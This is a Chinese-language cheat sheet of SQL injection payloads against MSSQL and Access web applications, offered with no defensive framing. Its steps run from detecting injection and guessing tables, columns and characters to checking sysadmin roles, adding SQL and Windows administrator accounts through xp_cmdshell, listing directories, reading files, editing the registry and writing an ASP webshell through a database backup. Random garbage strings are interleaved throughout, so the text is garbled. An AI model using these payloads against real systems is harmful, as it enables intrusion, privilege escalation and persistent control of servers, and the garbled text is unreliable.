1.判断是否有注入;and 1=1 ;and 1=2 :\]qB&
2.初步判断是否是mssql ;and user>0 m##_U9O
0F%/R^mw
3.注入参数是字符'and [查询条件] and ''=' m7|S'{+!
=.]{OT
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ET[>kn^#
}3/|;0j$
5.判断数据库系统 2w;Cw~<=d
M#.dF{%%
;and (select count(*) from sysobjects)>0 mssql xqpq|U
hEA;5-m
;and (select count(*) from msysobjects)>0 access M%#F"^8v
iLO,XW?d
v
fP/;t61Z
}1mkX\wWP
6.猜数据库 ;and (select Count(*) from [数据库名])>0 wD92Ava
T`2a)
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *pYawT
Ov;q]Vn>
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ~^J9v+
HBm(l@#.
9.(1)猜字段的ascii值(access) G2dPm}s ZG
[
e#[j{
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ujLje:Yc
w:9M6+mM^
(2)猜字段的ascii值(mssql) G6bvV*TRi
o]B2^Yq;x
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 wAo6:)
Q">wl
10.测试权限结构(mssql) MM*9Q`cB
r2\}_pIj
Ch)E:Dvq6
YbF}>1/"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- n]8*yoge
nT7]PhJ
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #V.u[:mO
`('NH]^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .M s$)1
`_x#`%!#2
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 69 J4p=c,
]/|DCxQ
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2RdpVNx\y
Gh}* <X;N
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- PHMp,z8
jGYl*EBx
;and 1=(select IS_MEMBER('db_owner'));-- A:\_ \B%<
|M EJ)LE7
]dT]25V
4'.]-u
11.添加mssql和系统的帐户 Z
ZT2c0AK
GL^
j
|1
;exec master.dbo.sp_addlogin username;-- fVYv 2
;exec master.dbo.sp_password null,username,password;-- $#_^uWN-M
mhF@S@
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- g`,(O
~Fo`Pr_
;exec master.dbo.xp_cmdshell 'net user username password &{8[I3#@
*7qa]i^]
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- D"K!ELGW
=nCV.Wf
;exec master.dbo.xp_cmdshell 'net user username password /add';-- %5;kNeD\Fq
sA
}X)aP
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )5TX3#=;(G
hysxHOL
5;[0Q
Y5TBWcGU%
12.(1)遍历目录 z.W1Za
`KE(R8y
;create table dirs(paths varchar(100), id int) YGi_7fTyc=
! &V,+}>)
;insert dirs exec master.dbo.xp_dirtree 'c:\' >Lz2zlZI
?hW(5]p|
;and (select top 1 paths from dirs)>0 mHc2v==X\-
5;9.&f
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) "H{#ib_c_
#|lVQ@=
7.C]ZcU
&jDRRT3
(2)遍历目录 dTVM
!=
Z8pZm`g)T
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- l_x>.' a
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 RHq r-%
Pv@;)s(-
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 VE/~tT;
(7v`5|'0
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 '`p0T%w
qj?I*peK)
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 _j<,qi
wD[qE
fVBRP[,
& l~=c2
13.mssql中的存储过程 Jaf=qwZ/`
Vs[!WJ
7
xp_regenumvalues 注册表根键, 子键 }Z\+Qc<<
O0"&wvR+5
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 M~!LjJg;
.{]=v
xp_regread 根键,子键,键值名 '?!2h'
j!
cB
;exec xp_regread ?rV c}
:Ee5:S
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Bb/aeLv
gClDVO
xp_regwrite 根键,子键, 值名, 值类型, 值 6UJBE<ntj
<kor;exeJ
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 zphStiwIQ
';7|H|,F
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ^A$~8?f
QfM*K.7Sl
xp_regdeletevalue 根键,子键,值名 !PrO~
Yui:=GgUrr
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 r^6vo6^
Afa{f}st
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 IN]bAd8"
`o*g2fW!
-nT+!3A8
2=NYBOE
14.mssql的backup创建webshell K+mtuB]yr
Z_Ma|V?6
use model L=}UApK
73(T+6`
create table cmd(str image); 4%j&]PASa1
_.06^5o
insert into cmd(str) values (''); |,&!Q$<un
AjANuyUaP
backup database model to disk='c:\l.asp'; .]H]H *wC
0QIocha
{nOK*7+"
1,`x1dcO!A
15.mssql内置函数 U w`LWG3T
a\m10Ih:
;and (select @@version)>0 获得Windows的版本号 xD?{Hw>QT#
5\Y/s o=
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;+b}@e
Yhw* `"X
;and (select user_name())>0 爆当前系统的连接用户 qryt1~Dq
%#QFu/l
;and (select db_name())>0 得到当前连接的数据库 n"K7@[d
#1bgV
JN KZ'9
47K5[R
16.简洁的webshell rw\4KI@ L
r&3fSx9
use model hy )RV=X
Ju9v n44
create table cmd(str image); l*m|b""].u
B-gr2-
insert into cmd(str) values (''); xBG1up<z
=W|Q0|U
backup database model to disk='g:\wwwtest\l.asp';